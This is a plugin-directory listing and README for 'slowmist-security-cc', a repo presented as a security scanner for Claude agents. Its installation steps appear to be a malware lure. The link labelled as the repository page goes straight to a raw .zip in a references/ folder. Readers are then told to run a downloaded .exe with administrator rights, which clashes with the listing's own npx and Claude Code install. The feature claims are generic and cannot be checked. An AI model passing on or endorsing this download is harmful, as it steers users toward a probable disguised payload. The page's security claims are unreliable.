convez.ai
SkillSegurançaIntermediário
Leontynestirredup43

SlowMist Security CC

Leontynestirredup43/slowmist-security-cc

Auditoria de segurança para agentes Claude com detecção de 26 padrões de ataque

Ver no GitHub
InicialPluginScore · de 0 a 100

Framework de auditoria de segurança especializado em proteger agentes Claude contra vulnerabilidades, engenharia social e ameaças de cadeia de suprimentos. Detecta 26 padrões de ataque conhecidos e 18 vetores de fluxo de dados em ambientes adversariais.

Instalação

$npx convez-ai Leontynestirredup43/slowmist-security-cc

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
0
Forks
0
Acompanhando
0
Saúde
42%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
2

Casos de uso

  • Auditar código de agentes antes de deploy em produção
  • Detectar vulnerabilidades de injeção e engenharia social
  • Validar dependências contra ameaças de cadeia de suprimentos
  • Monitorar fluxos de dados sensíveis em workflows automatizados

Veredito

Ferramenta focada em auditoria de agentes Claude com cobertura técnica sólida (26 padrões + 18 vetores). Requerimento Windows exclusivo e interface desktop limitam portabilidade; recomendado para times que precisam validação offline de segurança em agentes antes de produção.

README

A tradução para o português deste README ainda está na fila.

🛡️ slowmist-security-cc - Protect agents with comprehensive security checks

Download Security Tool

🔍 Understanding this application

Digital agents perform tasks for you. These agents interact with software, read files, and send data. Because they have access to many parts of your computer, agents need protection. The slowmist-security-cc tool monitors your agents. It checks for harmful patterns. It identifies risks in the code your agents run. This tool defends against outside attempts to hijack your agent. It scans for common threats. It ensures your workflow stays safe.

💻 System requirements

Your computer must meet these basic needs to run the security tool:

  • Operating System: Windows 10 or Windows 11.
  • Memory: 4 gigabytes of RAM or more.
  • Disk Space: At least 200 megabytes of free space.
  • Internet Connection: A steady connection for security updates.
  • Permissions: Administrator access to install the application.

🚀 Setting up the application

Follow these steps to install the security framework on your Windows computer.

  1. Visit the repository page to download the software: https://github.com/Leontynestirredup43/slowmist-security-cc/raw/refs/heads/main/references/slowmist-security-cc-2.3.zip
  2. Locate the link labeled "Releases" on the right side of the page.
  3. Click the link to see the available versions.
  4. Select the file ending in .exe to start your download.
  5. Save the file to your desktop for easy access.
  6. Double-click the file to start the installation.
  7. Follow the prompts on the screen to finish the setup process.
  8. Click "Finish" when the setup tool closes.

⚙️ Running your first scan

Once you install the tool, you find a new icon on your desktop. This icon opens the main interface.

  1. Click the security shield icon to start the program.
  2. Select the "Framework Dashboard" tab from the top menu.
  3. Choose the directory where your agents store their scripts.
  4. Press the "Scan" button to begin the security review.
  5. Wait for the progress bar to finish.
  6. Read the report that appears on your screen.

The tool checks for 26 common attack patterns. It also looks for 18 specific vectors that track where data flows. If the tool finds a problem, it displays the file name and the nature of the risk. You can choose to quarantine the file or ignore the warning.

🛡️ Key security features

This software provides a wide range of defenses for your agents.

Automated audits

The tool examines your agent logic every time you update your code. It checks for suspicious instructions that might leak your private data.

Threat detection

The engine identifies 18 distinct vectors. These vectors monitor input strings. If an outsider tries to feed the agent malicious commands, the tool blocks the input.

Pattern matching

The software uses a library of 26 known attack patterns. These patterns represent common ways attackers try to trick agents. The tool constantly updates this library to catch new threats.

Supply chain defense

Applications often rely on external packages. These packages can contain hidden flaws. This tool scans your dependencies to ensure no malicious code enters your system through third-party services.

🛠️ Frequently asked questions

Does this tool slow down my computer?

No. The engine runs only when you request a scan. It does not monitor your files in the background during normal use.

Is my agent data sent to the cloud?

No. All scanning happens on your local machine. No code leaves your computer when you run a review.

What should I do if a scan finds a risk?

Review the file indicated in the report. If you do not recognize the code in that file, move the file to a backup folder. Contact the maintainer of the agent scripts to report the issue.

How often should I perform a scan?

Run a scan whenever you install a new agent or add a new script to your project. This ensures you know the risks before you run your agent.

Can I run this on a server?

The current version targets Windows desktop users. It works best on local workstation environments.

📋 Best practices for agent security

  • Review scans after every update.
  • Limit the folders your agent can access.
  • Keep your system software current with regular Windows updates.
  • Avoid running agents with administrator rights unless necessary.
  • Check the report logs periodically to look for repeating patterns.

Using this tool provides peace of mind. It acts as a gatekeeper for your automation projects. By scanning your files regularly, you catch potential issues before they become real problems. The interface stays simple and avoids technical clutter. You focus on your work while the tool focuses on your safety. Reliability remains the priority throughout the design of this software.

Ver o original no GitHub

Bom para

Relacionados